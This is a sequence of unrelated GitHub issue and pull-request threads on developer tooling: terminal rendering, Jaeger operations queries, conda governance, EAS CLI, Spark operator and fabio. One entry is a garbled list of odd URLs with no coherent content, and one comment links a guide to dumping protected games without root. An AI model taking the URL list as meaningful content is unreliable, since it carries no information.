Cursor Starts One Space To Right When Starting From Start Menu

[x] I am on the latest Hyper.app version
[x] I have searched the issues of this repo and believe that this is not a duplicate

OS version and name: Windows 10 Pro
Hyper.app version: Hyper 2.1.2 (stable)
Link of a Gist with the contents of your .hyper.js: https://gist.github.com/djbreen7/ea3980163798bacf24b11b2965e00497
Relevant information from devtools N/A
The issue is reproducible in vanilla Hyper.app: Is Vanilla (I did a fresh install and repro'd)

Edits
2/13/2019

Simplify repro steps
Update gif
Update version

Issue
Using Hyper with the oh-my-posh agnoster-theme causes cursor displacement when run as admin. It appears the lightning bolt emoji is partly the culprit, though it renders fine in cmder or conemu. In other words, the problem appears to be the way Hyper is rendering fonts/themes since the themes render fine in other terminals.
Repro Steps
Configuration

Start Powershell as Admin
Install-Module posh-git
Install-Module oh-my-posh
code $profile
Add the following code to the profile that opened:

function Invoke-ConfigureShell() {
    Write-Host "Configuring Shell"
    Import-Module posh-git
    Import-Module oh-my-posh
    Set-Theme Agnoster
}

Invoke-ConfigureShell;

Produce Error

Run Hyper as Admin
Type and delete text anywhere in terminal

I have the exact same problem with almost the same setup.
In my Powershell profile script I have:
Import-Module posh-git
Import-Module oh-my-posh

Set-Theme Agnoster

Apart from the extra whitespace being added like @djbreen7 has shown, some of the unicode characters are not being rendered properly (I'm using NerdFont's patched Fira Code as the font).

I'm using version 3.0.0-canary.8

I forgot I still had this open. I opened an issue with oh-my-posh regarding the extra whitespace: issue 127.
@osalinasv As a workaround for the cursore displacement, I edited the Agnoster theme by commenting out this code
    # ~/Documents/WindowsPowerShell/Modules/oh-my-posh/2.0.247/Themes
    # check for elevated prompt
    If (Test-Administrator) {
        $prompt += Write-Prompt -Object "$($sl.PromptSymbols.ElevatedSymbol) " -ForegroundColor $sl.Colors.AdminIconForegroundColor -BackgroundColor $sl.Colors.SessionInfoBackgroundColor
    }

I have the exact same problem with almost the same setup.
In my Powershell profile script I have:
Import-Module posh-git
Import-Module oh-my-posh

Set-Theme Agnoster

Apart from the extra whitespace being added like @djbreen7 has shown, some of the unicode characters are not being rendered properly (I'm using NerdFont's patched Fira Code as the font).

I'm using version 3.0.0-canary.8

the same issue，I can not find a way to solve it

Any followup so far? I like my emojis 🎈


Query service to support spanKind when retrieve operations for a given service

Signed-off-by: Jun Guo<EMAIL_ADDRESS>
Which problem is this PR solving?

Solves #1921

Short description of the changes

update query service endpoints to allow optional spanKind param when querying operations
update cassandra & memory storage plugin to write/read using the extra arg spanKind
create migration script for the new operation_names table

Going to test with local setup and post screenshots tomorrow. Open for early review

Tested locally:
Get operations using the old endpoint:
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   154  100   154    0     0  15945      0 --:--:-- --:--:-- --:--:-- 17111
{
  "data": [
    "UserService::getExtendedUser",
    "UserService::getPaymentProfileViews",
    "UserService::updateUserInfo"
  ],
  "total": 3,
  "limit": 0,
  "offset": 0,
  "errors": null
}

Get operations using the new endpoint:
~/go/src$ curl 'http://localhost:6686/api/operations?service=gopro' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   223  100   223    0     0  13234      0 --:--:-- --:--:-- --:--:-- 13937
{
  "data": [
    {
      "name": "UserService::getExtendedUser",
      "spanKind": ""
    },
    {
      "name": "UserService::getPaymentProfileViews",
      "spanKind": ""
    },
    {
      "name": "UserService::updateUserInfo",
      "spanKind": ""
    }
  ],
  "total": 3,
  "limit": 0,
  "offset": 0,
  "errors": null
}

Index some more spans so that the spanKind is enriched, get server operations only:
~/go/src$ curl 'http://localhost:6686/api/operations?service=gopro&spanKind=server' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   241  100   241    0     0  31673      0 --:--:-- --:--:-- --:--:-- 34428
{
  "data": [
    {
      "name": "UserService::getExtendedUser",
      "spanKind": "server"
    },
    {
      "name": "UserService::getPaymentProfileViews",
      "spanKind": "server"
    },
    {
      "name": "UserService::updateUserInfo",
      "spanKind": "server"
    }
  ],
  "total": 3,
  "limit": 0,
  "offset": 0,
  "errors": null
}

Seems like travis build failed bcz of panic: No messages processed in the last check interval

Just to make sure, is the code going to be compatible with the previous db schema? We need to make sure it is.

Just to make sure, is the code going to be compatible with the previous db schema? We need to make sure it is.

The code will read from new table. Therefore lib user need to run the migration script to create new table before running the code, so it's not really backward compatible.
Please see @vprithvi 's comment above for the reason why we need separate table.
If we really need to make it backward compatible, we may need to have two APIs on spanReader:

GetOperations read from old table, used by the old endpoint: get /api/v1/services/{service}/operation

GetOperationsV2 read from new table, used by new endpoint: get /api/v1/operations?service={}&spanKind={}

If we need to add the new field to the clustering key, then there's no way to make the table backwards compatible, since Cassandra won't allow ALTER TABLE with key change. In that case going with {table}_v2 is appropriate, but we still should allow the code to read from the existing table if v2 is not found. That allows people to separate code upgrade from db schema upgrade.
Is it difficult to write a migration script? Did we do it for dependencies_v2?
If we don't do a migration script and people just run schema upgrade and create an empty v2 table, then it will be empty, which is not great user experience (even though it will quickly get filled up, it may not reflect the previous traces already stored, and we don't know how long people keep the traces around).

Closing this PR as the relevant small PRs are merged


Thoughts on the 2020-09-08 meeting

The meeting left me feeling frustrated, and I've heard similar sentiments from a few of you. I want to discuss my perceptions, reconcile them with yours, and work on ways to have better meetings in the future.
In my humble opinion, it was unfair to say at the beginning of the meeting “we won’t be talking about the transfer of conda/conda-build/constructor/conda-pack projects” and then expect Cheng or other Anaconda team to cover when Peter and Michael Grant already left after they thought their part wouldn’t come up. I don't remember the exact language, but I'm hoping we can collectively agree on what was said, and why Peter and Michael Grant decided that they didn't need to stay.
Furthermore, the meeting felt very aggressive and impatient towards Anaconda. I am perhaps a bit biased towards Anaconda, given my past role there. What I will point out as an outsider is that Anaconda is trying to help, as evidenced by efforts to change the CLA system. That CLA system work is 100% selfless time for Anaconda - it does them no benefit, and only helps this community effort. We all need to find ways to move this community forward, not just make demands on Anaconda.
I perceived lots of discontent from several people at the meeting, but I'm not at all clear what their goals are, nor what any milestones might be. We need to focus on some achievable targets. I see several possibilities. For each of these, please bear in mind that there may be additional prerequisites to making these happen. Those would need to be negotiated individually.

Splitting code from major projects into new, community-owned repositories, which the major projects then depend on. This is similar to what was done with conda-package-handling. Any new projects would need to be identical in behavior/support with existing projects in order for the existing projects to use them. This task can be started now by any community member. Replacing the conda/conda-build code with the split-out library would need more participation on the Anaconda side.
Hold community meetings to establish roadmaps. Note that any roadmap that is just a wishlist for Anaconda will fail. Community input on the roadmap implies community effort on achieving it.
Community members have ability to merge PRs on projects
Community members have ability to tag releases
Community members have ability to add new maintainers to projects
What else? I'm sure there's lots.

Perhaps we need some way of prioritizing these? Ranked choice voting? Whatever we do, we need to get to a place where we ask "what can I do (minimally involving Anaconda) to help move this along" and not "why is Anaconda blocking this?" Again, I no longer have direct insight into Anaconda's activities. My experience, though, and Anaconda's efforts on things like the CLA bot, indicate that Anaconda is acting in good faith, and they deserve the benefit of the doubt.

Hi Michael S. thank you for the note.  I unfortunately missed the conversations during this meeting, but am eager on how we can move forward.  Specifically, I am interested in what some team members feel they are not getting with the current process (submitting PRs, being involved) that they would like to see moving forward.  What are needed milestones within the community and why are those needed?  This type information would be super helpful as we move forward.
I welcome people's thoughts, so we can move forward and align on expectations.

Furthermore, the meeting felt very aggressive and impatient towards Anaconda.

This part annoyed me a little too. I'm not AnacondaInc and I have zero stake on the matter, but it was said in the meeting that conda-forge demands "this" for years. "This" was also not clear to me, more control on the conda org? Be part of the road map discussion? I can say that every time we needed, our voice was heard. We influenced many changes in conda, conda-build, and the rest of the stack. I never felt we needed any more "control." All my PRs were merged quickly, Isuru sends some hairy ones and they are all worked out and merged/solved. Maybe, what is even harder to ask, we got features in just by request, without sending a single line of code to conda (multiple outputs in cb)!
I do have a personal frustration with projects that fell through the cracks b/c of change in personnel but AnacondaInc is a company and people come and go. I'm also still working on reviving those projects and hope to continue work with them towards their goals. (Namely the improvements on the environment yaml file.) However, there is no need for any action on the AnacondaInc side for that to happen neither I expect anything until we have a solid proposal to work on those goals again.

Thank you Filipe.
I would like to put this as an agenda item for our next meeting to dive into what 'this' means.  Eager to hear everyone's thoughts to continue to move the ball forward for our ecosystem.


Change password only support changing password for internal auth provider

Describe the bug
Change password API only support changing password of internal auth-provider only which causes issue when you have multiple auth-provider and you have to keep track of all auth-provider.
In that case this API work only for internal auth provider for remaining auth-provider it give error
To Reproduce
Steps to reproduce the behavior:

Instead of internal auth-provider set auth-provider for any other provider like key clock or cognito
Try to change password for user who have been registered through these auth providers except internal
You will get error indicating invalid client or provider as check is specific in internal provider

Expected behavior
It should be able to change password based on auth-provider for that user we have if token and auth-provider detail matches.
Screenshots
Additional context
It should not have hardcoded check for internal user as auth-provider it should be dynamic like if the user is valid than based on auth-provider if valid is present than it should be able to logout

Since we dont save passwords of other auth providers, we dont have an option to change the passwords either
that can be done directly at the auth providers end
This request is not compliant hence closing

This is a duplicate of #1998


refactor: move debug/printing helpers into a separate crate

#158

LGTM.

this one was a bit painful on the esp branch. :)


Publish ZInfoBlobList to controller

To keep track of all blobs present in CAS (currently containerd), casBlobMonitor() will run as a routine in the background of volumeMgr.
casBlobMonitor() does the following:

Fetches the list of blobs from CAS every minute.
Checks if any new blob was added or any known blob was updated.
Creates/updates blobStatus accordingly.
Publishes the blobStatus.
Checks if all known blob are present in CAS.
-- if not then unpublishes the respective blobStatus.

zedagent is the subscriber for blobStatus updates from volumemgr. zedagent creates ZInfoBlobList from blobStatus.
Currently commented out the part where zedagent will publish ZInfoBlobList through API. Noticed there was no code to handle delete operation on ZInfoBlobList in the controller.
Signed-off-by: adarsh-zededa<EMAIL_ADDRESS>

Currently commented out the part where zedagent will publish ZInfoBlobList through API. Noticed there was no code to handle delete operation on ZInfoBlobList in the controller.

Does the controller handle the adds/updates f the ZInfoBlobList?
If so it would be useful to add that code in zedagent.

Currently commented out the part where zedagent will publish ZInfoBlobList through API. Noticed there was no code to handle delete operation on ZInfoBlobList in the controller.

Does the controller handle the adds/updates f the ZInfoBlobList?
If so it would be useful to add that code in zedagent.

Yes, controller handles add and updates. But since there is no code to handle delete, all blobinfo that we add can only be deleted manually. That is even if EVE informs the controller to delete a blobInfo, it'll not be deleted.

Hey @eriknordmark @adarsh-zededa -- I'm ok with this in general, but wonder if we can replace polling with push notifications via publishing fro @deitch ingestion code. That'd be a much nicer way to obtain the same info.
@deitch WDYT?

In principle it looks good. However, both this and #1110 create and use BlobStatus, in somewhat overlapping, somewhat complementary ways. @adarsh-zededa and I are going to chat to figure out how to reconcile it.

we can replace polling with push notifications via publishing fro @deitch ingestion code

I am not sure I know what you mean. Is the purpose here to get blob info whenever we want it? Or as part of downloads?

But can't you start sending the protobufs now? That code is commented out.

Uncommented that code and verified that controller is receiving and handling the blobInfo.

In principle it looks good. However, both this and #1110 create and use BlobStatus, in somewhat overlapping, somewhat complementary ways. @adarsh-zededa and I are going to chat to figure out how to reconcile it.

@deitch What did you decide? Should I pull this one in its current form or is there some renaming/consolidation of BlobStatus which should be done first?

Should I pull this one in its current form or is there some renaming/consolidation of BlobStatus which should be done first?

We didn't quite yet. @adarsh-zededa and I are speaking shortly to figure it out.

We just spoke. There is a lot of overlap on the BlobStatus - almost complete - plus, as @rvs pointed out, this would be the first time we would use a timed control loop to find storage state and publish it, vs having whatever creates it (volumemgr) consume it.
We agreed (@adarsh-zededa, if I am wrong, please correct me) that:

I would extend BlobStatus in #1110 to include all of the fields necessary in this PR
I would publish BlobStatus as it moves along in volumemgr in #1110, rather than just store it inside ContentTreeStatus (and OldVolumeStatus, but that is going away)
once #1110 is merged in, Adarsh can simplify it all by just consuming the BlobStatus that is published.

once #1110 is merged in, Adarsh can simplify it all by just consuming the BlobStatus that is published.

OK to we'll hold this PR until that is done.

Time to resolve conflicts with the CAS work in master @adarsh-zededa


Allow apk and ipa download using the CLI

I'm integrating eas build on my build pipeline on Azure.
My goal is to build the apk using eas build and then save the artifact so the QA can access it from Azure.
I didn't find any way to download the apk using the CLI. It would be really useful to be able to download the apk or the ipa file for CI/CD pipelines that rely on artifacts.

you can run eas build:view <build-id> to get the build artifact url when the build is complete, or if you want for the build to complete after running eas build the artifact url will be printed. does this handle your needs?

Hi Brent! Thanks for your feedback. Getting the artifact URL after the build seems to be a good step in the right direction. I think I can work with that. Thanks for taking the time to respond.

we would consider having a flag to output the result as json to make it easier to parse if you wanted to open a pr for this

Hi Brentvatne, Can you guide me on how can I copy the URL when finish run "eas build". Because I need the URL to send via email or use for another case.
Thanks


[RFC][bazel] Make python interpreter and pip dependencies usable in repository rules

See the commits. The goal of this PR is to define a clean way of using the python interpreter defined by rules_python, as well as the pip dependencies, but the repository rules. This required a bit of trickery and pythonpath manipulation. The rationale for using an extension is detailed in the commit.
A side benefit of all this is that the interpret is also usable (for testing, debugging, whatever) using bazel run:
./bazelisk run @ot_py_for_repo//:python

If you try it with this PR, you'll notice that you can import jsonschema but not import hsjon because hjson is not listed in REPO_RULES_PIP_DEPS

I should note that although I think this is a nice "hack", I still have mixed feelings about it because it depends on semi-documented repository names used by rules_python. Looking at the code of rules_python, I am not very worried because they have to run python script and run into the same problem: this is why the python_host repository exists in the first place and why there is one repo per package. However, the fact that those repo are visible and the names used does not seem to be documented as stable.
Another remark: with the extension, it's possible to to do several registrations steps so that each "python interpret" has its own set of packages enabled. What this means is that if we want to, we don't have to created one interpreter which has access to the union of all dependencies of all users. Still, the fact that we need to manually list all transitive dependencies makes this process cumbersome anyway.


Increase the Swift ABI version to 5

Object files generated by older compilers are definitely not compatible.
rdar://32164125

@swift-ci Please smoke test and merge

@swift-ci Please smoke test and merge

@swift-ci clean test

Build failed
Jenkins build - Swift Test Linux Platform
Git Commit - 04570010c820041c6c1088f181b8f764f92264db
Test requested by - @tkremenek

Build failed
Jenkins build - Swift Test OS X Platform
Git Commit - 04570010c820041c6c1088f181b8f764f92264db
Test requested by - @tkremenek


bug: ionic build iOS not working with node v5.0

Running
$ ionic build ios

does nothing on my machine.
Also, ionic info incorrectly reports I'm on El Capitan, when in fact I have Yosemite. Maybe I should report this as a different issue.
ionic info output:
Cordova CLI: 5.3.3
Gulp version:  CLI version 3.9.0
Gulp local:   Local version 3.9.0
Ionic Version: 1.1.0
Ionic CLI Version: 1.7.7
Ionic App Lib Version: 0.6.3
ios-deploy version: 1.7.0
ios-sim version: 5.0.1
OS: Mac OS X El Capitan
Node Version: v5.0.0
Xcode version: Xcode 7.1 Build version 7B91b

Greetings @walkr!
My sensors indicate that you need to update your issue through our custom issue form. We are now requiring all issues to be submitted this way, to ensure that we have all of the information necessary to fix them as quickly as possible.
Click Here To Update Your Issue
I will have no choice but to close this issue if it is not resubmitted through the form. Please fill out the rest of the form, so that I may use my friendly robot powers to assist you.
Thank you!

Oops. This has been reported on [#593] (https://github.com/driftyco/ionic-cli/issues/593)


Q: Is there any way to register https:// backends ?

Hi,
Is there any way to register https:// backends without using tcp+sni, with fabio performing ssl termination on the client side, and talking https to the backends (re-encoding traffic) ?  The reason for this is that frontend certificate is not the same as the ones that are used internally, so plain tcp+sni will not work.
Regards,
Alex

fabio does not support that yet. I'll probably add that at a later stage when I'm addressing #111

Would be really good to see this - its the only feature stopping our adoption of this project.  Fingers crossed you can add it fairly soon.

@Narrowbeam It is on the list. I've spent some time refactoring the listener and proxy code in the release-branch-1.4 to make this simpler. The addition of the TCP proxy was already a step in that direction. So stay tuned. :)

@magiconair is this as simple as adding a new conditional in registery/consul/service.go?
Not sure what kind of configuration you might want around it.

It could be. However, I think that you need to have some cert management options as well since upstream certs are probably self-signed. There may be more but I think that would be a good start.
Frank Schröder

On 31. Mar 2017, at 19:58, Timothy Messier<EMAIL_ADDRESS>wrote:
@magiconair is this as simple as adding a new conditional in registery/consul/service.go?
Not sure what kind of configuration you might want around it.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Thanks @shadowfax-chc for implementing this. This is great progress. I'll release 1.4.2 soon with this.


docs: Windows Phone documentation

Type: docs
Ionic Version: 2.x
Platform: mobile browser
Would be nice to get started with wp platform, but there is no documentation as of yet how to properly set it up.

What kind of docs are you looking for? If you start a new project from the command line it will have windows mode already included. If you have an existing project, you can follow the steps in the changelog to add the windows mode: https://github.com/driftyco/ionic/blob/2.0/CHANGELOG.md#windows-mode
or refer to the conference app commit: https://github.com/driftyco/ionic-conference-app/commit/304e2a49693d411458bc424028e86c7d6966416e

I tried to add a cordova wp support by using "ionic platform add wp" but it didn't recognize the platform. I believe I was using Ionic CLI 2.0.0-beta19 when trying it out. Do I have to use cordova's own platform name which is wp8 or windows?

Oh ok! So the platform name for ionic is the same as cordova: windows. To run your app on windows you will need a few things first, here is a tutorial for it: https://cordova.apache.org/docs/en/6.x/guide/platforms/win8/index.html
I do agree though that we need to add some documentation on how to build/run your apps on different platforms, so I am going to move this issue to the ionic-site repo. :smile:

This issue was moved to driftyco/ionic-site#500


https://www.independent.co.uk/arts-entertainment/tv/features/netflix-one-hundred-years-of-solitude-review-series-cast-b2663039.html

#519
https://gist.github/remote$repo/automagicalapps.com/app/server_start

https://icrm.ienterprises.com/home.php/

https://icrm.ienterprises.com/home.php/

https://support.google.com/chrome/search?q=https%3A%2F%2Fsupport.google.com%2Fchrome%2Fanswer%2F95617%3Fvisit_id%3D638696862534548655-1031322468%26p%3Dkjpawlowsk8%24parallel.app

https://support.google.com/chrome/search?q=https%3A%2F%2Fsupport.google.com%2Fchrome%2Fanswer%2F95617%3Fvisit_id%3D638696862534548655-1031322468%26p%3Dkjpawlowsk8%24parallel.app

``

https://support.google.com/chrome/search?q=https%3A%2F%2Fsupport.google.com%2Fchrome%2Fanswer%2F95617%3Fvisit_id%3D638696862534548655-1031322468%26p%3Dkjpawlowsk8%24parallel.app

[](url)

https://gboard.app.goo.gl/ApkVd


Readme: fix typo

Oh wow, I missed your pull-request :/ thanks for fixing the typo, I really appreciate these kinds of submissions!

Don't mention it. On the contrary, thanks to you for sharing!


Python upgrade to 3.12

Issue #, if available: #546
Description of changes:

Lambdas to python 3.12
pandas to 2.2
fix deprecation from python 2.2 warnings in generators

Description of testing performed to validate your changes (required if pull request includes CloudFormation or source code changes):

local stage.sh + visual compare of csv generated
deployed with no errors

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

#552 includes python 3.12 upgrade


A Liquid Tag to Build The Home Page

Built a Liquid tag to build the home page. Makes it much easier to modify the layout of the home page. Rows of pictures can easily be added to other pages. Layout of the home page looks a lot nicer when there are insufficient posts to fill the home page provided there are more than 2 posts.

Hi @sharu725 I don't follow, plugins are a jekyll feature, not a GitHub feature. The site doesn't need to be hosted by GitHub for this to work.


MIS Review: gui exceptions

With my experience, a lot of functions that deal with user input can experience some kind of exceptions. Perhaps a generic guiException can be added. And as you program, you may find that you are going to want to gracefully terminate from some random user induce error.
This issue is more of just a thought, not really suggesting you do anything - but keep it in mind. I have similar comments for some of the other modules, most modules will have some kind exception - especially when you imagine someone else using your modules in another project.

Updated by commit e436ce1


how to set the public key?

I need it for server backup purposes, so that from the user side there is no need to change the public key again key (duplicate server)

The public key is always generated from the private key. It can not be specified separately.
To keep a static private key and thus a static public key, you need to set the private key in the config, pass it as argument or set the corresponding environment variable.

The public key is always generated from the private key. It can not be specified separately.
To keep a static private key and thus a static public key, you need to set the private key in the config, pass it as argument or set the corresponding environment variable.

ok thanks


I deleted EAS cli file path /user/local/bin/eas after it failed to upgrade due to conflicting package managers

Build/Submit details page URL
No response
Summary
After attempting to build my app severally and getting build failed, I was told to run "when eas" command and delete the file path. After doing so, eas commands do not run again in my project. I get "no such file or directory".
Managed or bare?
Managed
Environment
expo-env-info 1.0.5 environment info:
System:
OS: macOS 12.6.3
Shell: 3.2.57 - /bin/bash
Binaries:
Node: 19.7.0 - /usr/local/bin/node
Yarn: 1.22.18 - /usr/local/bin/yarn
npm: 8.1.0 - /usr/local/bin/npm
Watchman: 2<IP_ADDRESS> - /usr/local/bin/watchman
Managers:
CocoaPods: 1.12.0 - /Users/user/.rvm/gems/ruby-3.0.0/bin/pod
SDKs:
iOS SDK:
Platforms: DriverKit 21.4, iOS 15.4, macOS 11.3, macOS 12.3, tvOS 15.4, watchOS 8.5
Android SDK:
API Levels: 28, 29, 30, 31, 33
Build Tools: 28.0.3, 29.0.2, 29.0.3, 30.0.2, 30.0.3, 31.0.0
System Images: android-29 | Google APIs Intel x86 Atom, android-31 | Google APIs Intel x86_64 Atom
IDEs:
Android Studio: 2021.1 AI-211.7628.21.2111.8193401
Xcode: 13.3/13E113 - /usr/bin/xcodebuild
npmPackages:
expo: ~49.0.7 => 49.0.7
react: 18.2.0 => 18.2.0
react-native: 0.72.4 => 0.72.4
npmGlobalPackages:
eas-cli: 4.1.2
expo-cli: 6.3.10
Expo Workflow: managed
Need to install the following packages:
expo-doctor
Ok to proceed? (y)
✔ Check Expo config for common issues
✔ Check package.json for common issues
✔ Check dependencies for packages that should not be installed directly
✔ Check for common project setup issues
✔ Check npm/ yarn versions
✔ Check Expo config (app.json/ app.config.js) schema
✔ Check that packages match versions required by installed Expo SDK
✔ Check that native modules do not use incompatible support packages
✔ Check for legacy global CLI installed locally
✖ Check that native modules use compatible support package versions for installed Expo SDK
Detailed check results:
Expected package<EMAIL_ADDRESS>Found invalid:
<EMAIL_ADDRESS>(for more info, run: npm why @expo/config-plugins)
Expected package<EMAIL_ADDRESS>Found invalid:
<EMAIL_ADDRESS>(for more info, run: npm why @expo/prebuild-config)
Advice: Upgrade dependencies that are using the invalid package versions.
One or more checks failed, indicating possible issues with the project.
Error output
bash: eas: command not found
Reproducible demo or steps to reproduce from a blank project
{
"name": "risetest",
"version": "1.0.0",
"main": "node_modules/expo/AppEntry.js",
"scripts": {
"start": "expo start",
"android": "expo start --android",
"ios": "expo start --ios",
"web": "expo start --web",
"lint": "eslint --ext .tsx --ext .ts src/",
"format": "prettier --check ./src"
},
"dependencies": {
"@expo-google-fonts/dm-sans": "^0.2.3",
"@expo-google-fonts/space-grotesk": "^0.2.3",
"@gorhom/bottom-sheet": "^4.4.7",
"@react-native-async-storage/async-storage": "1.18.2",
"@react-navigation/bottom-tabs": "^6.5.8",
"@react-navigation/native": "^6.1.7",
"@react-navigation/native-stack": "^6.9.13",
"@reduxjs/toolkit": "^1.9.5",
"@tanstack/react-query": "^4.33.0",
"axios": "^1.5.0",
"expo": "~49.0.7",
"expo-app-loading": "^2.1.1",
"expo-font": "~11.4.0",
"expo-splash-screen": "~0.20.5",
"expo-status-bar": "~1.6.0",
"formik": "^2.4.3",
"react": "18.2.0",
"react-native": "0.72.4",
"react-native-calendars": "^1.1300.0",
"react-native-confirmation-code-field": "^7.3.1",
"react-native-gesture-handler": "~2.12.0",
"react-native-paper": "^5.10.3",
"react-native-phone-number-input": "^2.1.0",
"react-native-reanimated": "~3.3.0",
"react-native-safe-area-context": "4.6.3",
"react-native-screens": "~3.22.0",
"react-native-svg": "13.9.0",
"react-native-svg-transformer": "^1.1.0",
"react-native-vector-icons": "^10.0.0",
"react-redux": "^8.1.2",
"yup": "^1.2.0"
},
"devDependencies": {
"@babel/core": "^7.20.0",
"@typescript-eslint/eslint-plugin": "^6.4.1",
"@typescript-eslint/parser": "^6.4.1",
"eslint": "^8.47.0",
"eslint-config-prettier": "^9.0.0",
"eslint-plugin-prettier": "^5.0.0",
"eslint-plugin-react": "^7.33.2",
"eslint-plugin-react-hooks": "^4.6.0",
"prettier": "^3.0.2"
},
"private": true
}

I'm not sure if understood the issue correctly, but the recommended way to install the eas-cli package is
npm install -g eas-cli
# or
yarn global add eas-cli

depending on which package manger you want to use.
You can also use it by running npx eas-cli@latest command.
Let me know if any of these helps.

It didn't solve anything. This is the actual problem. I ran this code "rm /users/local/bin/eas" and I'm facing the consequences. I did that because anytime I receive update that eas @5(I can't remember the actual version number) is available and I make effort to download using the command you wrote above, it will not reflect. I still keep on getting the update. That's why I used the command "rm /users/local/bin/eas" to delete the formal one and that now has affected the whole PC

If I run eas login for example, the command prompt does not recognize the eas command again.

Not even one of the eas command

I get error "No such file or directory found"

I'm not sure if understood the issue correctly, but the recommended way to install the eas-cli package is
npm install -g eas-cli
# or
yarn global add eas-cli

depending on which package manager you want to use.
You can also use it by running npx eas-cli@latest command.
Let me know if any of these helps.

Are you there?

If I run eas login for example, the command prompt does not recognize the eas command again.
@szdziedzic


Make Triples fully unique

Right now it's possible to create two identical triples, like so:
Triple.objects.create(subj=s, obj=o, prop=p)
Triple.objects.create(subj=s, obj=o, prop=p)

This goes against RDF and also doesn't make sense conceputally.
So it is needed that Triples are unqiue with regards to their three foreign keys.

closing as we move to other relations


Port to Xposed module

Most newer phones are hard to root and Magisk modules are not working on gaming emulators like LDPlayer and Memu, only crappy AVD are working but most games are not compatible with it.
Please port to Xposed, there would be a huge benefit because we can install Xposed easly on my favorite gaming emulators and on Virtual machines like VMOS and X8 Sandbox for non-root phones. You need to consider that 🙏

Yes please, so I don't need to use my crappy phone anymore

Finally, non root way which is easier https://platinmods.com/threads/how-to-use-auto-il2cppdumper-to-dump-protected-games-no-root.134194/


Age Calculator

Is your feature request related to a problem? Please describe.
I want ot add age calculator which can give you current age on entering your birth date
so user do not have to visit any website or calculate manually
Describe the solution you'd like
chrome extension of calculator
Additional context
it will be simple application
user will enter birthdate
and choose eithrt current date or any date
and will get age
How do we know when the feature is complete?
i will make PR for whole code

@Sulagna-Dutta-Roy  yes all the PRs are added ,no need to assign PR to me
thank you so much

Because of this confusion. I started adding it again. I knew the guidelines


flag provided but not defined: -enable-batch-scheduler

This seems to be a mismatch between the chart and the operator version. The operator container fails to start. Full logs:
+ exec /sbin/tini -s -- /usr/bin/spark-operator -v=2 -namespace= -ingress-url-format= -install-crds=true -controller-threads=10 -resync-interval=30 -logtostderr -enable-batch-scheduler=false -enable-metrics=true -metrics-labels=app_type -metrics-port=10254 -metrics-endpoint=/metrics -metrics-prefix=
flag provided but not defined: -enable-batch-scheduler
Usage of /usr/bin/spark-operator:
  -alsologtostderr
    	log to standard error as well as files
  -controller-threads int
    	Number of worker threads used by the SparkApplication controller. (default 10)
  -enable-metrics
    	Whether to enable the metrics endpoint.
  -enable-webhook
    	Whether to enable the mutating admission webhook for admitting and patching Spark pods.
  -ingress-url-format string
    	Ingress URL format.
  -install-crds
    	Whether to install CRDs (default true)
  -kubeConfig string
    	Path to a kube config. Only required if out-of-cluster.
  -log_backtrace_at value
    	when logging hits line file:N, emit a stack trace
  -log_dir string
    	If non-empty, write log files in this directory
  -logtostderr
    	log to standard error instead of files
  -master string
    	The address of the Kubernetes API server. Overrides any value in kubeconfig. Only required if out-of-cluster.
  -metrics-endpoint string
    	Metrics endpoint. (default "/metrics")
  -metrics-labels value
    	Labels for the metrics
  -metrics-port string
    	Port for the metrics endpoint. (default "10254")
  -metrics-prefix string
    	Prefix for the metrics.
  -namespace string
    	The Kubernetes namespace to manage. Will manage custom resource objects of the managed CRD types for the whole cluster if unset.
  -resync-interval int
    	Informer resync interval in seconds. (default 30)

The image being used is gcr.io/spark-operator/spark-operator:v2.4.0-v1beta1-0.9.0.
Is there a working version of the chart I can acquire? It looks like the batch scheduler work has begun very recently.

Building the operator image from the latest master branch is working fine with the current chart -- going to close this. I'm new to helm; would appreciate any advice on situations when the chart is in a broken state like this.

does this need to be closed?
getting this error with the 0.4.1 chart.

0.4.1 is OK for me, have you tried helm repo update?
Versions:

helm

Client: &version.Version{SemVer:"v2.14.3", GitCommit:"0e7f3b6637f7af8fcfddb3d2941fcc7cbebb0085", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.14.3", GitCommit:"0e7f3b6637f7af8fcfddb3d2941fcc7cbebb0085", GitTreeState:"clean"}

kubernetes:

Client Version: version.Info{Major:"1", Minor:"14", GitVersion:"v1.14.6", GitCommit:"96fac5cd13a5dc064f7d9f4f23030a6aeface6cc", GitTreeState:"clean", BuildDate:"2019-08-19T11:13:49Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"14", GitVersion:"v1.14.6", GitCommit:"96fac5cd13a5dc064f7d9f4f23030a6aeface6cc", GitTreeState:"clean", BuildDate:"2019-08-19T11:05:16Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}

chart (helm list)

NAME              	REVISION	UPDATED                 	STATUS  	CHART                  	APP VERSION        	NAMESPACE
loping-walrus     	1       	Mon Oct  7 10:58:57 2019	DEPLOYED	sparkoperator-0.4.1    	v1beta2-1.0.1-2.4.4	default


Create a deployment pipeline to publish the site when a new tag is created

[x] Create a GitHub Actions workflow that runs when a new v* tag is pushed
[x] Should either directly call the scripts/deploy.sh script in the workflow, or perform equivalent steps.

Implemented in #9


Emotion: Adding support for css prop without the need for jsx pragma …

Current Issue
Currently, you have to use the code block below in any React component that uses to wish the CSS Prop for Emotion (rather than via styled method).
Currently:
/** @jsx jsx */
import { jsx } from '@emotion/core'

See https://emotion.sh/docs/css-prop for more details.
Emotion prescribes using the "@emotion/babel-preset-css-prop" babel preset in order to avoid this. However, this does not currently work with Typescript as discussed on the following issue (or as seen by simpling trying to implement it).
https://github.com/emotion-js/emotion/issues/1046
Proposed Changes
The proposed changes use the solution described here in order to support the use of the css prop without the need for the pragma statement. This only affects the packages used and the webpack presets/plugins used slightly. All functionality is intact.
Motivation
I think it's important to support both Emotion methodologies (CSS Prop and Styled Components) and doing so without the boiletplate currently needed in order to use the former.

@nickgofly This seems to break Antd (Ant Design) ... have you used Antd with this repo and your update?


PHP-FPM Bug when aerospike is disabled (default behavior)

Reproducing steps:

docker-compose up -d php-fpm
